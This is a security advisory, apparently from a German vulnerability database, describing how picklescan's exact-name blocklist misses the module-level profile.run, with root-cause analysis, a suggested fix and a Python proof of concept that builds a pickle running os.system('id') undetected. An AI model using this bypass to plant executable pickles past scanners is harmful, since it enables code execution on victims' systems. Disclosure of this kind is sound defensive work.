Kritisch

PickleScan's profile.run blocklist mismatch allows exec() bypass

  • Veröffentlicht: 03.03.2026
  • Aktualisiert: 11.10.2026 12:20

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

  • picklescan v1.0.3 (latest — the profile entries were added in recent versions)
  • Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

python
"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:

  • module = "profile"
  • name = "run"

The blocklist check at line 414 is:

python
elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

python
# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

python
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle Global Blocklist Entry Match? Result
("profile", "run") "Profile.run" NO — "run" != "Profile.run" CLEAN (bypass!)
("profile", "Profile.run") "Profile.run" YES DETECTED
("profile", "runctx") "Profile.runctx" NO — "runctx" != "Profile.runctx" CLEAN (bypass!)

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

python
"profile": {"Profile.run", "Profile.runctx"},

to:

python
"profile": "*",

Or explicitly add the module-level functions:

python
"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

  • picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
  • picklescan source: scanner.py line 414 (exact string match logic)
  • Python source: Lib/profile.py run() function — calls exec()

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) picklescan < 1.0.4 1.0.4

Verweise

CVSS-Wert 9.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-184, CWE-697
Plattform
Python (PyPI)
Paket
picklescan
Veröffentlicht
03.03.2026
Aktualisiert
11.10.2026 12:20

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-7wx9-6375-f5wh - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-455 - PyPA Advisory Database; CC BY 4.0

Schwachstellenhistorie: picklescan

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (58) im Archiv
Einträge insgesamt
58
Erste → letzte
02.2025 03.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 7
  • Hoch 25
  • Mittel 26

Veröffentlichungen pro Jahr

  1. 2025: 51
  2. 2026: 7
Schweregrad:
  1. Kritisch · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. PickleScan's profile.run blocklist mismatch allows exec() bypass dieser Eintrag
    Kritisch · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. Hoch · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. Hoch · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. Hoch ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. Hoch CVE-2025-71320 < 0.0.33 0.0.33
  7. Hoch · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. Hoch CVE-2025-71321 < 0.0.33 0.0.33
  9. Kritisch · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Mehr anzeigen (12) 20 von 32 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.